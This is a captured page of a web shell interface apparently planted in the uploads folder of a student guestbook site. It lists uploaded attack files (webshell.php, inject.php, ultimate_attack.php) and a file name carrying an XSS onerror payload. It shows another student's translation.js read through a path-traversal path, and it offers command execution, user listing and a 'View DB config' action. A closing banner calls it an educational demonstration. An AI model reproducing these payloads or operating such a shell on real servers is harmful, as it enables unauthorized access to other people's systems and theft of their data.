🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../.vscode/../../../584557.klas4s23.mid-ica.nl/public_html/js/translation.js

document.addEventListener("DOMContentLoaded", () => {
  const languageOptions = document.querySelectorAll(".language-toggle .lang-option");
  const defaultLanguage = "en";
  const loader = document.querySelector(".loader");
  let currentLanguage = localStorage.getItem("selectedLanguage");

  if (!currentLanguage) {
    currentLanguage = defaultLanguage;
    localStorage.setItem("selectedLanguage", currentLanguage);
  }

  const loadTranslations = async (lang) => {
    try {
      const url = `./js/translations/${lang}.json`;
      const response = await fetch(url, { credentials: "same-origin" });
      if (!response.ok) {
        throw new Error(`Failed to load ${lang} translations`);
      }
      const translations = await response.json();
      applyTranslations(translations);
    } catch (error) {
      console.error(`Error loading ${lang} translations:`, error);
    }
  };

  function calculateAge(birthDateStr) {
    const birthDate = new Date(birthDateStr);
    const today = new Date();
    let age = today.getFullYear() - birthDate.getFullYear();
    const m = today.getMonth() - birthDate.getMonth();
    if (m < 0 || (m === 0 && today.getDate() < birthDate.getDate())) {
      age--;
    }
    return age;
  }

  function applyTranslations(translations) {
    const age = calculateAge("2007-07-03");
    document.querySelectorAll('[data-translate]').forEach(el => {
      const key = el.getAttribute('data-translate');
      if (translations[key]) {
        let text = translations[key];
        text = text.replace("{age}", age);
        el.textContent = text;
      }
    });
    document.querySelectorAll('[data-translate-placeholder]').forEach(el => {
      const key = el.getAttribute('data-translate-placeholder');
      if (translations[key]) {
        el.placeholder = translations[key];
      }
    });
    document.querySelectorAll('[data-translate-title]').forEach(el => {
      const key = el.getAttribute('data-translate-title');
      if (translations[key]) {
        el.title = translations[key];
      }
    });
    document.dispatchEvent(new CustomEvent('languageChanged', { detail: { lang: currentLanguage } }));
  }

  const updateSelectedLanguage = (lang) => {
    languageOptions.forEach((option) => {
      option.classList.toggle("selected", option.getAttribute("data-lang") === lang);
    });
  };

  const initializePage = async () => {
    updateSelectedLanguage(currentLanguage);
    await loadTranslations(currentLanguage);
    document.body.classList.remove("loading");
    loader.style.display = "none";
  };

  languageOptions.forEach((option) => {
    option.addEventListener("click", () => {
      const selectedLang = option.getAttribute("data-lang");
      if (currentLanguage !== selectedLang) {
        currentLanguage = selectedLang;
        localStorage.setItem("selectedLanguage", currentLanguage);
        updateSelectedLanguage(currentLanguage);
        loadTranslations(currentLanguage);
      }
    });
  });

  document.body.classList.add("loading");
  loader.style.display = "flex";

  initializePage();
});

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!